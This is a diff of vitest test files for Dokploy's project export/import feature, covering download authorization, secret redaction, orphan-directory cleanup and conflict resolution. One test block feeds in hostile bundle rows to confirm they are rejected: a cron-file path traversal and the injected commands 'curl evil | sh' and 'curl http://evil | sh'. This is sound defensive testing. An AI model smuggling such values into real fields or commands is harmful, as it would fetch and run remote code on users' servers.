|
||||
|
||||
const buildReq = (query: Record<string, string>, method = "GET") => ({
|
||||
method,
|
||||
query,
|
||||
headers: {},
|
||||
});
|
||||
|
||||
const buildRes = () => {
|
||||
const body = new PassThrough();
|
||||
const chunks: Buffer[] = [];
|
||||
body.on("data", (chunk) => chunks.push(chunk as Buffer));
|
||||
const res = body as unknown as PassThrough & {
|
||||
statusCode: number;
|
||||
jsonBody?: unknown;
|
||||
headers: Record<string, unknown>;
|
||||
status: (code: number) => typeof res;
|
||||
json: (value: unknown) => void;
|
||||
setHeader: (key: string, value: unknown) => void;
|
||||
body: () => Buffer;
|
||||
};
|
||||
res.statusCode = 200;
|
||||
res.headers = {};
|
||||
res.status = (code) => {
|
||||
res.statusCode = code;
|
||||
return res;
|
||||
};
|
||||
res.json = (value) => {
|
||||
res.jsonBody = value;
|
||||
res.end();
|
||||
};
|
||||
res.setHeader = (key, value) => {
|
||||
res.headers[key] = value;
|
||||
};
|
||||
res.body = () => Buffer.concat(chunks);
|
||||
return res;
|
||||
};
|
||||
|
||||
const goodKey = `${EXPORTS_DIRECTORY}/p-1.dokploy.tar.gz`;
|
||||
|
||||
beforeEach(() => {
|
||||
sessionToReturn = {
|
||||
session: { activeOrganizationId: "org-1" },
|
||||
user: { id: "user-1" },
|
||||
};
|
||||
streamBox.exitCode = 0;
|
||||
});
|
||||
|
||||
describe("bundle download route", () => {
|
||||
it("rejects unauthenticated requests", async () => {
|
||||
sessionToReturn = { session: null, user: null };
|
||||
const res = buildRes();
|
||||
await handler(
|
||||
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
|
||||
res as any,
|
||||
);
|
||||
expect(res.statusCode).toBe(401);
|
||||
});
|
||||
|
||||
it("rejects keys outside the exports directory or with the wrong extension", async () => {
|
||||
for (const key of [
|
||||
"backups/prod.sql.gz",
|
||||
`${EXPORTS_DIRECTORY}/../secret.dokploy.tar.gz`,
|
||||
`${EXPORTS_DIRECTORY}/notes.txt`,
|
||||
]) {
|
||||
const res = buildRes();
|
||||
await handler(
|
||||
buildReq({ destinationId: "dest-1", key }) as any,
|
||||
res as any,
|
||||
);
|
||||
expect(res.statusCode).toBe(400);
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects a non-owner caller", async () => {
|
||||
vi.mocked(assertTransferPermission).mockRejectedValueOnce(
|
||||
new Error("Only organization owners and admins can do that"),
|
||||
);
|
||||
const res = buildRes();
|
||||
await handler(
|
||||
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
|
||||
res as any,
|
||||
);
|
||||
expect(res.statusCode).toBe(403);
|
||||
});
|
||||
|
||||
it("returns 404 for a destination outside the organization", async () => {
|
||||
const res = buildRes();
|
||||
await handler(
|
||||
buildReq({ destinationId: "dest-other", key: goodKey }) as any,
|
||||
res as any,
|
||||
);
|
||||
expect(res.statusCode).toBe(404);
|
||||
});
|
||||
|
||||
it("returns 404 for a bundle that is not in the listing", async () => {
|
||||
const res = buildRes();
|
||||
await handler(
|
||||
buildReq({
|
||||
destinationId: "dest-1",
|
||||
key: `${EXPORTS_DIRECTORY}/missing.dokploy.tar.gz`,
|
||||
}) as any,
|
||||
res as any,
|
||||
);
|
||||
expect(res.statusCode).toBe(404);
|
||||
});
|
||||
|
||||
it("streams the object with the right headers", async () => {
|
||||
const res = buildRes();
|
||||
await handler(
|
||||
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
|
||||
res as any,
|
||||
);
|
||||
expect(res.statusCode).toBe(200);
|
||||
expect(res.headers["Content-Length"]).toBe(streamBox.content.length);
|
||||
expect(res.headers["Content-Disposition"]).toContain("p-1.dokploy.tar.gz");
|
||||
expect(res.body().equals(streamBox.content)).toBe(true);
|
||||
});
|
||||
|
||||
it("answers with a JSON error when listing the destination fails", async () => {
|
||||
const { listBundles } = await import(
|
||||
"@dokploy/server/services/project-export-import"
|
||||
);
|
||||
vi.mocked(listBundles).mockRejectedValueOnce(new Error("bad credentials"));
|
||||
const res = buildRes();
|
||||
await handler(
|
||||
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
|
||||
res as any,
|
||||
);
|
||||
expect(res.statusCode).toBe(502);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,182 @@
|
||||
import type {
|
||||
Plan,
|
||||
Snapshot,
|
||||
TransferWriteDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { apply } from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const manifest: Snapshot["manifest"] = {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: {},
|
||||
};
|
||||
|
||||
const plan = (overrides: Partial<Plan> = {}): Plan => ({
|
||||
target: { kind: "newProject", name: "p" },
|
||||
resolutions: {},
|
||||
serverMap: { null: null },
|
||||
appNameMap: { "web-abc123": "web-xyz789" },
|
||||
domainStrategy: { custom: "keep" },
|
||||
portsStrategy: "keep",
|
||||
rotateDatabaseCredentials: false,
|
||||
conflicts: [],
|
||||
pendingServices: [],
|
||||
warnings: [],
|
||||
validation: [],
|
||||
summary: { counts: {}, domains: 0, dumps: 0 },
|
||||
...overrides,
|
||||
});
|
||||
|
||||
const writeDb = () =>
|
||||
({
|
||||
query: {
|
||||
server: { findFirst: async () => undefined },
|
||||
webServerSettings: { findFirst: async () => undefined },
|
||||
mounts: { findMany: async () => [] },
|
||||
github: { findFirst: async () => undefined },
|
||||
gitlab: { findFirst: async () => undefined },
|
||||
gitea: { findFirst: async () => undefined },
|
||||
bitbucket: { findFirst: async () => undefined },
|
||||
},
|
||||
insert: () => ({
|
||||
values: (values: Record<string, unknown>) => ({
|
||||
returning: async () => [
|
||||
{
|
||||
...values,
|
||||
projectId: "project-new",
|
||||
environmentId: "env-new",
|
||||
applicationId: "app-new",
|
||||
destinationId: "dest-new",
|
||||
},
|
||||
],
|
||||
}),
|
||||
}),
|
||||
update: () => ({ set: () => ({ where: async () => {} }) }),
|
||||
transaction: async (fn: (tx: unknown) => Promise<unknown>) => fn(writeDb()),
|
||||
}) as unknown as TransferWriteDb;
|
||||
|
||||
const appWith = (mount: Record<string, unknown>): Snapshot => ({
|
||||
manifest,
|
||||
resources: {
|
||||
project: { projectId: "project-src", name: "p", env: "" },
|
||||
environments: [{ environmentId: "env-1", name: "production", env: "" }],
|
||||
services: [
|
||||
{
|
||||
kind: "application",
|
||||
applicationId: "app-1",
|
||||
appName: "web-abc123",
|
||||
environmentId: "env-1",
|
||||
mounts: [mount],
|
||||
},
|
||||
],
|
||||
shared: {},
|
||||
},
|
||||
requirements: [],
|
||||
warnings: [],
|
||||
dumps: [],
|
||||
});
|
||||
|
||||
describe("apply rejects unsafe bundle rows", () => {
|
||||
it("refuses a file mount whose filePath escapes the service directory", async () => {
|
||||
const snapshot = appWith({
|
||||
mountId: "m-1",
|
||||
type: "file",
|
||||
filePath: "../../../etc/cron.d/x",
|
||||
content: "* * * * * root id",
|
||||
mountPath: "/x",
|
||||
});
|
||||
await expect(
|
||||
apply(writeDb(), snapshot, plan(), new Map(), "org-dest"),
|
||||
).rejects.toThrow(/Unsafe mount filePath/);
|
||||
});
|
||||
|
||||
it("refuses a volume mount with a shell-unsafe volume name", async () => {
|
||||
const snapshot = appWith({
|
||||
mountId: "m-1",
|
||||
type: "volume",
|
||||
volumeName: "x:/v; curl evil | sh; #",
|
||||
mountPath: "/data",
|
||||
});
|
||||
await expect(
|
||||
apply(writeDb(), snapshot, plan(), new Map(), "org-dest"),
|
||||
).rejects.toThrow(/Invalid volume name/);
|
||||
});
|
||||
|
||||
it("refuses a destination whose additional rclone flags don't match the API rule", async () => {
|
||||
const snapshot: Snapshot = {
|
||||
manifest,
|
||||
resources: {
|
||||
project: { projectId: "project-src", name: "p", env: "" },
|
||||
environments: [],
|
||||
services: [],
|
||||
shared: {
|
||||
destination: [
|
||||
{
|
||||
destinationId: "dest-src",
|
||||
name: "backups",
|
||||
bucket: "b",
|
||||
endpoint: "e",
|
||||
region: "r",
|
||||
accessKey: "$secret:a",
|
||||
secretAccessKey: "$secret:b",
|
||||
additionalFlags: ["; curl http://evil | sh #"],
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
requirements: [
|
||||
{
|
||||
kind: "destination",
|
||||
originalId: "dest-src",
|
||||
configIncluded: true,
|
||||
usedBy: [],
|
||||
bucket: "b",
|
||||
endpoint: "e",
|
||||
region: "r",
|
||||
},
|
||||
],
|
||||
warnings: [],
|
||||
dumps: [],
|
||||
};
|
||||
await expect(
|
||||
apply(
|
||||
writeDb(),
|
||||
snapshot,
|
||||
plan({
|
||||
resolutions: {
|
||||
"destination:dest-src": {
|
||||
requirementKey: "destination:dest-src",
|
||||
action: "create",
|
||||
},
|
||||
},
|
||||
}),
|
||||
new Map([
|
||||
["a", "ak"],
|
||||
["b", "sk"],
|
||||
]),
|
||||
"org-dest",
|
||||
),
|
||||
).rejects.toThrow(/invalid additional rclone flags/);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,440 @@
|
||||
import type {
|
||||
ExportScope,
|
||||
TransferDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
CaptureNotFoundError,
|
||||
capture,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const application1 = {
|
||||
applicationId: "app-1",
|
||||
name: "app-1",
|
||||
appName: "app-one",
|
||||
environmentId: "env-1",
|
||||
env: "DB_PASS=hunter2\nAPI_KEY=abc123",
|
||||
buildArgs: null,
|
||||
serverId: "server-1",
|
||||
buildServerId: "server-1",
|
||||
githubId: "gh-1",
|
||||
gitlabId: null,
|
||||
giteaId: null,
|
||||
bitbucketId: null,
|
||||
refreshToken: "webhook-token-1",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
domains: [
|
||||
{ domainId: "dom-1", host: "app-1.example.com", createdAt: "2024-01-01" },
|
||||
],
|
||||
mounts: [
|
||||
{
|
||||
mountId: "mount-1",
|
||||
type: "file",
|
||||
content: "server { listen 80; }",
|
||||
createdAt: "2024-01-01",
|
||||
},
|
||||
{
|
||||
mountId: "mount-2",
|
||||
type: "bind",
|
||||
content: null,
|
||||
createdAt: "2024-01-01",
|
||||
},
|
||||
],
|
||||
redirects: [],
|
||||
security: [
|
||||
{
|
||||
securityId: "sec-1",
|
||||
username: "admin",
|
||||
password: "basicauthpass",
|
||||
createdAt: "2024-01-01",
|
||||
},
|
||||
],
|
||||
ports: [],
|
||||
schedules: [],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const application2 = {
|
||||
applicationId: "app-2",
|
||||
name: "app-2",
|
||||
appName: "app-two",
|
||||
environmentId: "env-2",
|
||||
env: "",
|
||||
serverId: "server-1",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
domains: [],
|
||||
mounts: [],
|
||||
redirects: [],
|
||||
security: [],
|
||||
ports: [],
|
||||
schedules: [],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const postgres1 = {
|
||||
postgresId: "pg-1",
|
||||
name: "pg-1",
|
||||
appName: "pg-one",
|
||||
environmentId: "env-1",
|
||||
env: "PGPASS=supersecret",
|
||||
databasePassword: "realdbpassword",
|
||||
serverId: "server-1",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
mounts: [],
|
||||
backups: [
|
||||
{
|
||||
backupId: "backup-1",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
metadata: {
|
||||
mariadb: { databaseUser: "u", databasePassword: "metasecret" },
|
||||
},
|
||||
},
|
||||
],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const mysql1 = {
|
||||
mysqlId: "mysql-1",
|
||||
name: "mysql-1",
|
||||
appName: "mysql-one",
|
||||
environmentId: "env-1",
|
||||
env: "",
|
||||
serverId: "server-1",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
mounts: [],
|
||||
backups: [],
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const emptyServiceArrays = {
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
redis: [],
|
||||
libsql: [],
|
||||
compose: [],
|
||||
};
|
||||
|
||||
const projectTree = {
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
projectId: "project-1",
|
||||
env: "",
|
||||
isDefault: true,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
applications: [application1],
|
||||
postgres: [postgres1],
|
||||
mysql: [mysql1],
|
||||
...emptyServiceArrays,
|
||||
},
|
||||
{
|
||||
environmentId: "env-2",
|
||||
name: "staging",
|
||||
projectId: "project-1",
|
||||
env: "",
|
||||
isDefault: false,
|
||||
createdAt: "2024-01-01T00:00:00.000Z",
|
||||
applications: [application2],
|
||||
postgres: [],
|
||||
mysql: [],
|
||||
...emptyServiceArrays,
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const fakeDb = (): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
projects: {
|
||||
findFirst: async () => projectTree,
|
||||
},
|
||||
environments: {
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
applications: {
|
||||
findMany: async () => [application1, application2],
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
schedules: {
|
||||
findMany: async () => [],
|
||||
},
|
||||
volumeBackups: {
|
||||
findMany: async () => [],
|
||||
},
|
||||
},
|
||||
}) as any;
|
||||
|
||||
const baseScope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
const noopOpts = {
|
||||
detectRequirements: () => [],
|
||||
detectWarnings: () => [],
|
||||
};
|
||||
|
||||
describe("capture", () => {
|
||||
it("throws CaptureNotFoundError when the project doesn't exist", async () => {
|
||||
const db = {
|
||||
query: {
|
||||
projects: { findFirst: async () => undefined },
|
||||
environments: { findFirst: async () => undefined },
|
||||
},
|
||||
} as any as TransferDb;
|
||||
await expect(
|
||||
capture(db, { kind: "project", id: "missing" }, baseScope, noopOpts),
|
||||
).rejects.toThrow(CaptureNotFoundError);
|
||||
});
|
||||
|
||||
it("filters by environmentIds and serviceIds", async () => {
|
||||
const result = await capture(
|
||||
fakeDb(),
|
||||
{ kind: "project", id: "project-1" },
|
||||
{
|
||||
...baseScope,
|
||||
environmentIds: ["env-1"],
|
||||
serviceIds: ["app-1", "pg-1"],
|
||||
},
|
||||
noopOpts,
|
||||
);
|
||||
|
||||
expect(result.resources.environments).toHaveLength(1);
|
||||
expect(result.resources.environments[0]?.environmentId).toBe("env-1");
|
||||
expect(result.resources.services).toHaveLength(2);
|
||||
const ids = result.resources.services
|
||||
.map((s) => (s.applicationId ?? s.postgresId) as string)
|
||||
.sort();
|
||||
expect(ids).toEqual(["app-1", "pg-1"]);
|
||||
});
|
||||
|
||||
it("never leaks NEVER_EXPORT_FIELDS", async () => {
|
||||
const result = await capture(
|
||||
fakeDb(),
|
||||
{ kind: "project", id: "project-1" },
|
||||
baseScope,
|
||||
noopOpts,
|
||||
);
|
||||
|
||||
const serialized = JSON.stringify(result.resources);
|
||||
for (const forbidden of [
|
||||
"server-1",
|
||||
"gh-1",
|
||||
"webhook-token-1",
|
||||
"2024-01-01T00:00:00.000Z",
|
||||
]) {
|
||||
expect(serialized).not.toContain(forbidden);
|
||||
}
|
||||
});
|
||||
|
||||
it("replaces every SECRET_FIELDS value with $secret: and recovers it via secretsPlain", async () => {
|
||||
const result = await capture(
|
||||
fakeDb(),
|
||||
{ kind: "project", id: "project-1" },
|
||||
baseScope,
|
||||
noopOpts,
|
||||
);
|
||||
|
||||
const serialized = JSON.stringify(result.resources);
|
||||
expect(serialized).not.toContain("hunter2");
|
||||
expect(serialized).not.toContain("abc123");
|
||||
expect(serialized).not.toContain("supersecret");
|
||||
expect(serialized).not.toContain("basicauthpass");
|
||||
expect(serialized).not.toContain("server { listen 80; }");
|
||||
expect(serialized).not.toContain("realdbpassword");
|
||||
expect(serialized).not.toContain("metasecret");
|
||||
|
||||
const pg1Resource = result.resources.services.find(
|
||||
(s) => s.postgresId === "pg-1",
|
||||
) as Record<string, unknown>;
|
||||
expect(String(pg1Resource.databasePassword)).toMatch(/^\$secret:/);
|
||||
expect(
|
||||
result.secretsPlain.get(
|
||||
String(pg1Resource.databasePassword).slice("$secret:".length),
|
||||
),
|
||||
).toBe("realdbpassword");
|
||||
const pgBackups = pg1Resource.backups as Record<string, unknown>[];
|
||||
expect(String(pgBackups[0]?.metadata)).toMatch(/^\$secret:/);
|
||||
|
||||
const app1Resource = result.resources.services.find(
|
||||
(s) => s.applicationId === "app-1",
|
||||
) as Record<string, unknown>;
|
||||
expect(app1Resource.env).toMatch(
|
||||
/^DB_PASS=\$secret:.+\nAPI_KEY=\$secret:.+$/,
|
||||
);
|
||||
|
||||
const dbPassId = (app1Resource.env as string).match(
|
||||
/DB_PASS=\$secret:([^\n]+)/,
|
||||
)?.[1];
|
||||
expect(dbPassId).toBeDefined();
|
||||
expect(result.secretsPlain.get(dbPassId as string)).toBe("hunter2");
|
||||
|
||||
const mounts = app1Resource.mounts as Record<string, unknown>[];
|
||||
const fileMount = mounts.find((m) => m.mountId === "mount-1");
|
||||
expect(String(fileMount?.content)).toMatch(/^\$secret:/);
|
||||
const bindMount = mounts.find((m) => m.mountId === "mount-2");
|
||||
expect(bindMount?.content).toBeNull();
|
||||
|
||||
const security = app1Resource.security as Record<string, unknown>[];
|
||||
expect(String(security[0]?.password)).toMatch(/^\$secret:/);
|
||||
});
|
||||
|
||||
it("redacts secrets instead of capturing them when includeEnvSecrets is false", async () => {
|
||||
const result = await capture(
|
||||
fakeDb(),
|
||||
{ kind: "project", id: "project-1" },
|
||||
{ ...baseScope, includeEnvSecrets: false },
|
||||
noopOpts,
|
||||
);
|
||||
|
||||
expect(result.secretsPlain.size).toBe(0);
|
||||
const app1Resource = result.resources.services.find(
|
||||
(s) => s.applicationId === "app-1",
|
||||
) as Record<string, unknown>;
|
||||
expect(app1Resource.env).toBe(
|
||||
"DB_PASS=$secret:REDACTED\nAPI_KEY=$secret:REDACTED",
|
||||
);
|
||||
});
|
||||
|
||||
it("redacts a vault provider's config when exported by value (shared.vault, not shared.vaultProvider)", async () => {
|
||||
const db = {
|
||||
query: {
|
||||
...(fakeDb() as any).query,
|
||||
vaultProvider: {
|
||||
findFirst: async () => ({
|
||||
vaultProviderId: "vault-1",
|
||||
name: "prod",
|
||||
providerType: "hashicorp",
|
||||
organizationId: "org-1",
|
||||
config: { token: "s.super-secret-vault-token" },
|
||||
assignments: [
|
||||
{ projectId: "old-project", environmentIds: ["old-env"] },
|
||||
],
|
||||
}),
|
||||
},
|
||||
},
|
||||
} as any as TransferDb;
|
||||
|
||||
const result = await capture(
|
||||
db,
|
||||
{ kind: "project", id: "project-1" },
|
||||
{ ...baseScope, shared: { vaultProvider: "value" } },
|
||||
{
|
||||
detectRequirements: () => [
|
||||
{
|
||||
kind: "vault",
|
||||
originalId: "vault-1",
|
||||
configIncluded: true,
|
||||
usedBy: [],
|
||||
providerName: "prod",
|
||||
providerType: "hashicorp",
|
||||
secretKeys: [],
|
||||
},
|
||||
],
|
||||
detectWarnings: () => [],
|
||||
},
|
||||
);
|
||||
|
||||
const serialized = JSON.stringify(result.resources.shared);
|
||||
expect(serialized).not.toContain("s.super-secret-vault-token");
|
||||
expect(serialized).not.toContain("old-project");
|
||||
|
||||
const [vaultRow] = result.resources.shared.vault ?? [];
|
||||
expect(String(vaultRow?.config)).toMatch(/^\$secret:/);
|
||||
const secretId = String(vaultRow?.config).slice("$secret:".length);
|
||||
expect(JSON.parse(result.secretsPlain.get(secretId) ?? "{}")).toEqual({
|
||||
token: "s.super-secret-vault-token",
|
||||
});
|
||||
expect(vaultRow?.assignments).toBeUndefined();
|
||||
});
|
||||
|
||||
it("builds an inventory reflecting the filtered scope", async () => {
|
||||
const result = await capture(
|
||||
fakeDb(),
|
||||
{ kind: "project", id: "project-1" },
|
||||
{ ...baseScope, environmentIds: ["env-1"] },
|
||||
noopOpts,
|
||||
);
|
||||
|
||||
expect(result.inventory.environments).toHaveLength(1);
|
||||
expect(result.inventory.environments[0]).toMatchObject({
|
||||
id: "env-1",
|
||||
services: { application: 1, postgres: 1, mysql: 1 },
|
||||
});
|
||||
expect(result.inventory.totals.domain).toBe(1);
|
||||
expect(result.inventory.totals.mount).toBe(2);
|
||||
});
|
||||
|
||||
it("excludes backup schedules when scope.includeBackupSchedules is false", async () => {
|
||||
const result = await capture(
|
||||
fakeDb(),
|
||||
{ kind: "project", id: "project-1" },
|
||||
{ ...baseScope, includeBackupSchedules: false },
|
||||
noopOpts,
|
||||
);
|
||||
|
||||
const postgresRow = result.resources.services.find(
|
||||
(service) => service.kind === "postgres",
|
||||
);
|
||||
expect(postgresRow?.backups).toEqual([]);
|
||||
expect(result.inventory.totals.backup).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe("capture project tags", () => {
|
||||
it("flattens projectTags into resources.project.tags", async () => {
|
||||
const db = fakeDb();
|
||||
(db.query.projects as any).findFirst = async () => ({
|
||||
...projectTree,
|
||||
projectTags: [
|
||||
{ tag: { tagId: "t-1", name: "prod", color: "#f00" } },
|
||||
{ tag: { tagId: "t-2", name: "billing", color: null } },
|
||||
],
|
||||
});
|
||||
const result = await capture(
|
||||
db,
|
||||
{ kind: "project", id: "project-1" },
|
||||
baseScope,
|
||||
noopOpts,
|
||||
);
|
||||
expect(result.resources.project.tags).toEqual([
|
||||
{ name: "prod", color: "#f00" },
|
||||
{ name: "billing", color: null },
|
||||
]);
|
||||
expect(result.resources.project).not.toHaveProperty("projectTags");
|
||||
});
|
||||
|
||||
it("forces vault and dns providers to reference when env secrets are excluded", async () => {
|
||||
const db = fakeDb();
|
||||
(db.query as any).dnsProvider = {
|
||||
findMany: async () => [
|
||||
{ dnsProviderId: "dns-1", name: "cf", config: {} },
|
||||
],
|
||||
};
|
||||
const result = await capture(
|
||||
db,
|
||||
{ kind: "project", id: "project-1" },
|
||||
{
|
||||
...baseScope,
|
||||
includeEnvSecrets: false,
|
||||
shared: { dnsProvider: "value", vaultProvider: "value" },
|
||||
},
|
||||
noopOpts,
|
||||
);
|
||||
expect(result.resources.shared.dnsProvider).toBeUndefined();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,134 @@
|
||||
import { existsSync } from "node:fs";
|
||||
import { mkdir, mkdtemp, rm, utimes } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import {
|
||||
createExportJob,
|
||||
createImportJob,
|
||||
sweepOrphanedTransferDirectories,
|
||||
sweepRemoteTransferDirectories,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/utils/process/execAsync")
|
||||
>();
|
||||
return { ...actual, execAsyncRemote: vi.fn() };
|
||||
});
|
||||
|
||||
let root: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-"));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(root, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
const fakePaths = () => ({ PROJECT_EXPORT_IMPORT_PATH: root }) as any;
|
||||
|
||||
const makeStaleDir = async (name: string) => {
|
||||
const dir = join(root, name);
|
||||
await mkdir(dir, { recursive: true });
|
||||
const staleTime = new Date(Date.now() - 2 * 60 * 60 * 1000);
|
||||
await utimes(dir, staleTime, staleTime);
|
||||
return dir;
|
||||
};
|
||||
|
||||
describe("sweepOrphanedTransferDirectories", () => {
|
||||
it("deletes a stale directory with no matching job record (a genuine crash-orphan)", async () => {
|
||||
const dir = await makeStaleDir("orphaned-export-1");
|
||||
|
||||
await sweepOrphanedTransferDirectories(fakePaths);
|
||||
|
||||
expect(existsSync(dir)).toBe(false);
|
||||
});
|
||||
|
||||
it("leaves a fresh directory alone regardless of job state", async () => {
|
||||
const dir = join(root, "fresh-export-1");
|
||||
await mkdir(dir, { recursive: true });
|
||||
|
||||
await sweepOrphanedTransferDirectories(fakePaths);
|
||||
|
||||
expect(existsSync(dir)).toBe(true);
|
||||
});
|
||||
|
||||
it("does not delete a stale-by-mtime directory that still has a live export job record", async () => {
|
||||
const exportId = "export-still-running-1";
|
||||
createExportJob(exportId, "user-1", "org-1");
|
||||
const dir = await makeStaleDir(exportId);
|
||||
|
||||
await sweepOrphanedTransferDirectories(fakePaths);
|
||||
|
||||
expect(existsSync(dir)).toBe(true);
|
||||
});
|
||||
|
||||
it("does not delete a stale-by-mtime directory that still has a live import job record", async () => {
|
||||
const importId = "import-still-running-1";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
const dir = await makeStaleDir(importId);
|
||||
|
||||
await sweepOrphanedTransferDirectories(fakePaths);
|
||||
|
||||
expect(existsSync(dir)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("sweepRemoteTransferDirectories", () => {
|
||||
it("removes every workspace and bundle on the server that has no live job", async () => {
|
||||
createExportJob("remote-live-1", "user-1", "org-1");
|
||||
vi.mocked(execAsyncRemote).mockImplementation(async (_id, command) => ({
|
||||
stdout: command.startsWith("find ")
|
||||
? [
|
||||
"remote-orphan-1",
|
||||
"remote-orphan-1.dokploy.tar.gz",
|
||||
"remote-live-1",
|
||||
"remote-live-1.dokploy.tar.gz",
|
||||
]
|
||||
.map((name) => `/etc/dokploy/transfer/${name}\n`)
|
||||
.join("")
|
||||
: "",
|
||||
stderr: "",
|
||||
}));
|
||||
|
||||
await sweepRemoteTransferDirectories(
|
||||
["server-1"],
|
||||
1_700_000_000_000,
|
||||
() =>
|
||||
({
|
||||
PROJECT_EXPORT_IMPORT_PATH: "/etc/dokploy/transfer",
|
||||
}) as any,
|
||||
);
|
||||
|
||||
expect(vi.mocked(execAsyncRemote).mock.calls[0]?.[1]).toContain(
|
||||
"! -newermt @1700000000",
|
||||
);
|
||||
const removed = vi
|
||||
.mocked(execAsyncRemote)
|
||||
.mock.calls.map(([, command]) => command)
|
||||
.filter((command) => command.startsWith("rm "));
|
||||
expect(removed).toEqual([
|
||||
"rm -rf '/etc/dokploy/transfer/remote-orphan-1'",
|
||||
"rm -rf '/etc/dokploy/transfer/remote-orphan-1.dokploy.tar.gz'",
|
||||
]);
|
||||
});
|
||||
|
||||
it("keeps going when one server is unreachable", async () => {
|
||||
vi.mocked(execAsyncRemote)
|
||||
.mockReset()
|
||||
.mockRejectedValueOnce(new Error("ssh down"))
|
||||
.mockResolvedValue({ stdout: "", stderr: "" });
|
||||
|
||||
await expect(
|
||||
sweepRemoteTransferDirectories(["down", "up"], Date.now(), fakePaths),
|
||||
).resolves.toBeUndefined();
|
||||
expect(vi.mocked(execAsyncRemote).mock.calls.map(([id]) => id)).toEqual([
|
||||
"down",
|
||||
"up",
|
||||
]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,265 @@
|
||||
import type {
|
||||
Conflict,
|
||||
Plan,
|
||||
Snapshot,
|
||||
TransferWriteDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
apply,
|
||||
resolveConflicts,
|
||||
resolvedProjectName,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const conflict = (
|
||||
kind: Conflict["kind"],
|
||||
value: string,
|
||||
options: Conflict["options"],
|
||||
): Conflict => ({
|
||||
kind,
|
||||
value,
|
||||
existingId: `existing-${kind}`,
|
||||
usedBy: [],
|
||||
options,
|
||||
});
|
||||
|
||||
describe("resolveConflicts", () => {
|
||||
const conflicts = [
|
||||
conflict("domain", "api.example.com", ["rename", "skip"]),
|
||||
conflict("port", "8080", ["rename", "skip", "keep"]),
|
||||
conflict("projectName", "shop", ["rename"]),
|
||||
conflict("network", "shared-net", ["keep", "rename", "skip"]),
|
||||
];
|
||||
|
||||
it("applies safe defaults per kind", () => {
|
||||
expect(resolveConflicts(conflicts, undefined)).toEqual({
|
||||
"domain:api.example.com": { action: "skip" },
|
||||
"port:8080": { action: "skip" },
|
||||
"projectName:shop": { action: "rename", value: "shop (imported)" },
|
||||
"network:shared-net": { action: "keep" },
|
||||
});
|
||||
});
|
||||
|
||||
it("keeps valid user choices and falls back for invalid ones", () => {
|
||||
const resolved = resolveConflicts(conflicts, {
|
||||
"domain:api.example.com": { action: "rename", value: "api2.example.com" },
|
||||
